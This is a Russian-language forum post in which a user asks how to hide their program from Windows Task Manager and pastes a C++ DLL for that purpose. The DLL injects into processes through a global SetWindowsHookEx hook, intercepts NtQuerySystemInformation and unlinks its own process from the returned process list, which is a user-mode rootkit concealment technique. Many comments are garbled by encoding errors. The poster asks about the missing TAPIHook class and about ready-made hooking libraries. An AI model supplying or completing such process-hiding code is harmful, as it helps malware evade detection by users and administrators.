Написал прогу надо чтобы она не палилась в Диспетчере задач. Погуглил и как понял надо подгрузить dll. В ней надо поставить hook на перехват NtQuerySystemInformation. Затем нужно изменить структуру SYSTEM_PROCESS_INFORMATION таким образом, чтобы она указывала на следующий процесс , это как я понял чтобы затереть инфу о скрываемом процессе. Нашел вот такой пример Код (Text): #include <windows.h> #pragma hdrstop #include <Winnt.h> #include <winbase.h> #include <stdio.h> #include <Tlhelp32.h> #define _DLL_ #include "HookApi.h" #include "HookClass.h" //--------------------------------------------------------------------------- //NtQuerySystemInformation typedef struct _THREAD_INFO { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; DWORD dwStartAddress; DWORD dwOwnerPID; DWORD dwThreadId; DWORD dwCurrentPriority; DWORD dwBasePriority; DWORD dwContextSwitches; DWORD dwThreadState; DWORD dwWaitReason; DWORD dwReserved; }THREADINFO, *PTHREADINFO; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaxLength; PWSTR Buffer; } UNICODE_STRING; typedef struct _PROCESS_INFO { DWORD dwOffset; DWORD dwThreadsCount; DWORD dwUnused1[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; DWORD dwBasePriority; DWORD dwProcessID; DWORD dwParentProcessId; DWORD dwHandleCount; DWORD dwUnused3[2]; DWORD dwVirtualBytesPeak; DWORD dwVirtualBytes; ULONG dwPageFaults; DWORD dwWorkingSetPeak; DWORD dwWorkingSet; DWORD dwQuotaPeakPagedPoolUsage; DWORD dwQuotaPagedPoolUsage; DWORD dwQuotaPeakNonPagedPoolUsage; DWORD dwQuotaNonPagedPoolUsage; DWORD dwPageFileUsage; DWORD dwPageFileUsagePeak; DWORD dCommitCharge; THREADINFO ThreadSysInfo[1]; } PROCESSINFO, *PPROCESSINFO; typedef long (__stdcall *PNTQUERYSYSTEMINFORMATION)(DWORD,PVOID,ULONG,PULONG); long __stdcall MyNtQuerySystemInformation( DWORD SysInformatoinClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength OPTIONAL); TAPIHook *NtQuerySystemInformationHook = NULL; //--------------------------------------------------------------------------- //HHOOK hCallWndHook = NULL; LRESULT CALLBACK CallWndHook(int nCode,WPARAM wParam,LPARAM lParam); // объявление функции обратного вызова //--------------------------------------------------------------------------- //?????4??SetWindowsHookEx HINSTANCE hInst; #pragma data_seg("SHAREDATA") HHOOK hCallWndHook = NULL; DWORD dwSelfProcessID = -1; #pragma data_seg() #pragma comment(linker,"/section:SHAREDATA,RWS") //????iDLL??????Hook?GetProcAddressbLoadLibraryAbLoadLibraryWb //LoadLibraryExAbLoadLibraryExW?5???e?HookClass.Cppec???Unhook??i //??DLL???????Р¶?i???????4?cDLL?u?i?Р¶?i??N?? //Hook??j??i???Р–??????Unohoki???????i?N??Hooko? //???????i??k????Hookc bool IsHook = false; //?????Hook?? int __fastcall HookFunc(); int __fastcall UnhookFunc(); //--------------------------------------------------------------------------- //#pragma argsused BOOL APIENTRY DllMain( HANDLE hModule, DWORD reason, LPVOID lpReserved) // функция предназначена для инициализации и очистки DLL. { hInst = (HINSTANCE)hModule; if(reason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hInst); __try { if(dwSelfProcessID != -1) HookFunc(); } __except(EXCEPTION_EXECUTE_HANDLER) {/* Do nothing */} } else if(reason == DLL_PROCESS_DETACH) { __try { UnhookFunc(); } __except(EXCEPTION_EXECUTE_HANDLER) {/* Do nothing */} } return TRUE; } //--------------------------------------------------------------------------- //Hook DLL_EXP_IMP int _cdecl Hook(DWORD dwSelfProcessID_P) { dwSelfProcessID = dwSelfProcessID_P; if(hCallWndHook == NULL) hCallWndHook = SetWindowsHookEx(WH_CALLWNDPROC,(HOOKPROC)CallWndHook,hInst,0); //Функция устанавливает определяемую программой подключаемую процедуру в цепочку hook-точек. // Hook????? HookFunc(); return 1; } //--------------------------------------------------------------------------- //Unhook DLL_EXP_IMP int _cdecl Unhook() { if(hCallWndHook != NULL) { UnhookWindowsHookEx(hCallWndHook); //Функция удаляет подключаемую процедуру, установленную в цепочку hook-точек функцией SetWindowsHookEx. hCallWndHook = NULL; } // Unhook????? UnhookFunc(); return 1; } //--------------------------------------------------------------------------- int __fastcall HookFunc() { IsHook = true; SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_TIME_CRITICAL); //функция устанавливает уровень приоритета текущего потока в своем классе приоритета NtQuerySystemInformationHook = new TAPIHook("NTDLL.DLL","NtQuerySystemInformation", (PROC)MyNtQuerySystemInformation,true); SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_NORMAL); return 1; } //--------------------------------------------------------------------------- int __fastcall UnhookFunc() { //???????i???????????u??????????SUnhookc IsHook = false; if(NtQuerySystemInformationHook != NULL) { delete NtQuerySystemInformationHook; NtQuerySystemInformationHook = NULL; } return 1; } //--------------------------------------------------------------------------- //Р»?Hooki?????i??????DLL????? LRESULT CALLBACK CallWndHook(int nCode,WPARAM wParam,LPARAM lParam) { if(nCode < 0) return CallNextHookEx(hCallWndHook,nCode,wParam,lParam); //Функция передает информацию hook-точки в следующую подключаемую процедуру в текущей цепочке hook-точек. // Do nothing return 0; } //--------------------------------------------------------------------------- /*--------------------------------------------------------------------------- ???????e //-------------------------------------------------------------------------*/ //--------------------------------------------------------------------------- long __stdcall MyNtQuerySystemInformation( DWORD SysInformatoinClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength OPTIONAL) { long Result; Result = ((PNTQUERYSYSTEMINFORMATION)(PROC)(*NtQuerySystemInformationHook)) (SysInformatoinClass,SystemInformation,SystemInformationLength,ReturnLength); //???????????mi?????S?Р–?????c __try { if(SysInformatoinClass == 5 && Result == 0 /* STATUS_SUCCESS */) { PPROCESSINFO pProcessInfo; PPROCESSINFO pPrevProcessInfo; pProcessInfo = (PPROCESSINFO)SystemInformation; pPrevProcessInfo = pProcessInfo; while(true) { if(pProcessInfo != NULL && pProcessInfo->dwProcessID == dwSelfProcessID) { if(pProcessInfo->dwOffset == 0) pPrevProcessInfo->dwOffset = 0; else pPrevProcessInfo->dwOffset = pPrevProcessInfo->dwOffset + pProcessInfo->dwOffset; break; } if(pProcessInfo->dwOffset == 0) break; pPrevProcessInfo = pProcessInfo; pProcessInfo = (PPROCESSINFO)((byte*)pProcessInfo + pProcessInfo->dwOffset); } } } __except(EXCEPTION_EXECUTE_HANDLER) { /*/ ????i???????? ::MessageBox(NULL,"Exception Occured at self-defined function :(",NULL,MB_OK | MB_ICONWARNING); //*/ } return Result; } //--------------------------------------------------------------------------- Что делает вот эта строка NtQuerySystemInformationHook = new TAPIHook("NTDLL.DLL","NtQuerySystemInformation", (PROC)MyNtQuerySystemInformation,true); И функция TAPIHook ее нет ни в "HookApi.h" ,"HookClass.h". И вообще есть ли еще готовые библиотеки для работы с хуками??